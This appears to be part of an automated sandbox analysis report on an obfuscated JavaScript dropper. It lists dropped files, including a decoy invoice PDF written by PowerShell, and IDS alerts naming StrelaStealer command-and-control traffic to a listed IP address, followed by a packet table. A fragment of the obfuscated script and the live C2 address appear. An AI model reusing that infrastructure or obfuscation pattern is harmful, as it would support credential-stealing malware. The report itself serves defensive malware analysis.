SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRzU:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR+
MD5:	4A955C8E48895C35736FD66A06D19880
SHA1:	592220E8DF09E7E4DD94721408E235F1AA63590B
SHA-256:	E95758451AA9B2DAB4BA964E4E577079E261C5E3F8B6F5F6A0C10316F54CDB0B
SHA-512:	B70F07673FE0CF14818B1CFBFEF20881B09AB49E4047DBF9CB50A8C3F11940C580694CDDFEF5A51DAE7A54BC71B8301E3A4546546D00B8AA875B6572D338E066
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0e76907c-d196-4e98-b391-85abcacb20a0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\502a98e6-78e4-49eb-ba40-d158bea7fb8b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/vreYIGNPpeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:XreZGeWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CC587A2476F7A2DD5C59278103C837C4
SHA1:	268CACF541F777B6F1E55B97A0BF78AFC0D759DA
SHA-256:	7B883B1ADF9114FD6B4401AA896D50BDBC9796839827529A14602CD3014E2AE7
SHA-512:	721475123F5745CC4F41C4A26EB6687AD43B1E3F7D31042A33A334CFB0480FE55444DEF3132F9BC33734311D9BCDC490EC0B16EA47475B2AD6ED2D7370C0901B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\53435105-2e9e-4551-9af0-433bb047d7d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\67ba71a7-7534-4e04-91ba-daf230d66412.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17154), with CRLF line terminators
Entropy (8bit):	4.913283046528945
TrID:
File name:	20314304422672320911.js
File size:	20'648 bytes
MD5:	fde76b31b6c4f60db6c75db59124617b
SHA1:	93fcd38c2eaa6afdb688d46330be1ece47090a30
SHA256:	f113cc95dd2e026055d567b88597406c3893136cd6a11cb88c14a13d876c6e89
SHA512:	be57b566808dc128c797298b3007bb3c4b137c5b233453c772c32a5ce6d7470652ada03bd779875251e78c6257086b58f546f8ce2298564408ff6af9584a4d00
SSDEEP:	192:Np4iNhFt3yl3kQCW72OaGZOHW4p0fKfcT2TfQ7qlBnsgDlfj:Lttw9CWibGZOHW20OfQml1sSfj
TLSH:	BB924150C300C5D88AE92798B6BF5AD5090E8F844FFD8E9D6DC698CF5C9063963E21BD
File Content Preview:	function dqidyi(){vprltzjto=[1031,3079,5127,4103,2055,3072];var tqrfe=this[rhsdrikd+fituh+okeal+kylfyii+eqwqlwf+aoccg+ejsufkx+dyyquh](this[joaimpn+hqozr+rnqpcnkt+okeal+xmcxcjrhj+rhsdrikd+dyyquh][xksxgosg+okeal+eqwqlwf+fituh+dyyquh+eqwqlwf+nxoczij+bgrull+l

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:39:40.282129+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:39:40.282129+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:39:42.696721+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:39:39.508085966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:39.513082027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:39.513164997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:39.517452002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:39.522320032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.281986952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282012939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282022953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282035112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282083035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282094955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282104969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282115936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282128096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282129049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.282215118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.282219887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.282331944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.287082911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.287097931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.287158966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.324688911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.324707985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.324776888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.402661085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.402690887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.402703047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.402714968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.402726889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.402789116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.402832031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.403000116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403012991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403024912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403043032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.403059006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.403062105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403075933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403110981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.403795004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403826952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403837919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403922081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403928995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.403933048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.403960943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.404640913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.404653072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.404664040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.404692888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.404711008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.404714108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.404725075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.404762030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.405411005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.446649075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.455218077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.455245972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.455256939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.455348969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.489355087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.489373922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.489430904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523309946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523355007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523386955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523457050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523488998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523489952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523524046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523591042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523627043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523654938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523680925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523691893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523703098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523731947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523746967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523895025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523906946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523917913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523927927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.523952961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.523972034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.524344921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524404049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524414062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524441957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.524456978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.524503946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524514914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524553061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.524941921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524981022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.524991035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525029898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.525093079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525104046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525115967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525127888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.525160074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.525228977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525240898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525285006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.525923967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525964022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.525974989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526010990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.526063919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526128054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526139975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526165009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.526180029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.526232958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526245117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.526278973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.526995897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.527007103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.527018070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.527045012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.531213045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.531223059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.531241894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.531250954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.531265020 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.531296015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.541971922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.541990042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.542001963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.542051077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.542076111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.542114019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.542305946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.576252937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.576271057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.576282024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.576293945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.576363087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.576461077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.610157013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.610172987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.610292912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.643975019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644004107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644016027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644027948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644047976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644058943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644069910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644103050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.644176006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.644373894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644418001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644428968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644469023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.644496918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.644519091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644531965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.644607067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:39:40.645026922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:39:40.645039082 CET	80	49699	193.143.1.205	192.168.2.7
